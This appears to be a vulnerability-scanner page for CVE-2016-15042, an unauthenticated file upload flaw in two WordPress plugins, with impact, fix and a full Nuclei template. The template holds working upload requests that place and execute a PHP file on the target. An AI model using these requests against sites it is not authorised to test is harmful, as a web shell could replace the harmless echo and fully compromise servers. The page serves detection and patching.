WordPress Frontend File Manager < 4.0 & N-Media Post Frontend < 1.1 - Arbitrary File Upload

criticalseverity

9.8CVSS score

6.7%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

The Frontend File Manager plugin (<4.0) and N-Media Post Front-end Form plugin (<1.1) for WordPress were vulnerable to arbitrary file uploads due to missing file type validation. This allowed unauthenticated attackers to upload arbitrary files and potentially achieve remote code execution.

Impact

Unauthenticated attackers can upload malicious files (such as PHP web shells) and execute arbitrary code, leading to complete server compromise, data theft, and potential lateral movement within the network.

Fix

Update Frontend File Manager to version 4.0 or later, and N-Media Post Front-end Form to version 1.1 or later.

How to confirm it

Send: POST /wp-admin/admin-ajax.php ; GET /wp-content/uploads/post_files/{{filename}}
Positive when: status_code == 200 and contains_all(body_1, "{{filename}}","file_name") and contains(body_2, "{{randstr_content}}")
Send: POST /wp-admin/admin-ajax.php ; GET /wp-content/uploads/user_uploads/{{filename}}
Positive when: status_code == 200 and contains_all(body_1, "{{filename}}","file_name") and contains(body_2, "{{randstr_content}}")

Run it with nuclei: nuclei -id CVE-2016-15042 -u <target>

The full check

id: CVE-2016-15042

info:
  name: WordPress Frontend File Manager < 4.0 & N-Media Post Frontend < 1.1 - Arbitrary File Upload
  author: jsnv-dev
  severity: critical
  description: |
    The Frontend File Manager plugin (<4.0) and N-Media Post Front-end Form plugin (<1.1) for WordPress were vulnerable to arbitrary file uploads due to missing file type validation. This allowed unauthenticated attackers to upload arbitrary files and potentially achieve remote code execution.
  impact: |
    Unauthenticated attackers can upload malicious files (such as PHP web shells) and execute arbitrary code, leading to complete server compromise, data theft, and potential lateral movement within the network.
  remediation: |
    Update Frontend File Manager to version 4.0 or later, and N-Media Post Front-end Form to version 1.1 or later.
  reference:
    - https://www.pluginvulnerabilities.com/2016/09/19/arbitrary-file-upload-vulnerability-in-front-end-file-upload-and-manager-plugin/
    - https://www.pluginvulnerabilities.com/2016/09/19/arbitrary-file-upload-vulnerability-in-n-media-post-front-end-form/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-15042
    - https://wordpress.org/plugins/nmedia-user-file-uploader/#developers
    - https://wpscan.com/vulnerability/052f7d9a-aaff-4fb1-92b7-aeb83cc705a7
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-15042
    cwe-id: CWE-434
    epss-score: 0.06684
    epss-percentile: 0.93958
    cpe: cpe:2.3:a:najeebmedia:frontend_file_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: najeebmedia
    product: frontend_file_manager
    framework: wordpress
  tags: cve,cve2016,wordpress,wp-plugin,n-media,post-frontend,intrusive,unauth,file-upload,vkev,vuln

variables:
  randstr_name: "{{randstr}}"
  randstr_content: "{{randstr}}"
  filename: "{{to_lower(randstr_name)}}.php"
  content: "<?php echo '{{randstr_content}}'; ?>"

flow: http(1) || http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr_val}}

        ------WebKitFormBoundary{{randstr_val}}
        Content-Disposition: form-data; name="action"

        nm_postfront_upload_file
        ------WebKitFormBoundary{{randstr_val}}
        Content-Disposition: form-data; name="name"

        {{filename}}
        ------WebKitFormBoundary{{randstr_val}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}"
        Content-Type: application/octet-stream

        {{content}}
        ------WebKitFormBoundary{{randstr_val}}--

      - |
        GET /wp-content/uploads/post_files/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        name: n-media-post-frontend-upload
        dsl:
          - 'status_code == 200'
          - 'contains_all(body_1, "{{filename}}","file_name")'
          - 'contains(body_2, "{{randstr_content}}")'
        condition: and

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr_val}}

        ------WebKitFormBoundary{{randstr_val}}
        Content-Disposition: form-data; name="action"

        nm_filemanager_upload_file
        ------WebKitFormBoundary{{randstr_val}}
        Content-Disposition: form-data; name="name"

        {{filename}}
        ------WebKitFormBoundary{{randstr_val}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}"
        Content-Type: application/octet-stream

        {{content}}
        ------WebKitFormBoundary{{randstr_val}}--

      - |
        GET /wp-content/uploads/user_uploads/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        name: frontend-file-manager-upload
        dsl:
          - 'status_code == 200'
          - 'contains_all(body_1, "{{filename}}","file_name")'
          - 'contains(body_2, "{{randstr_content}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from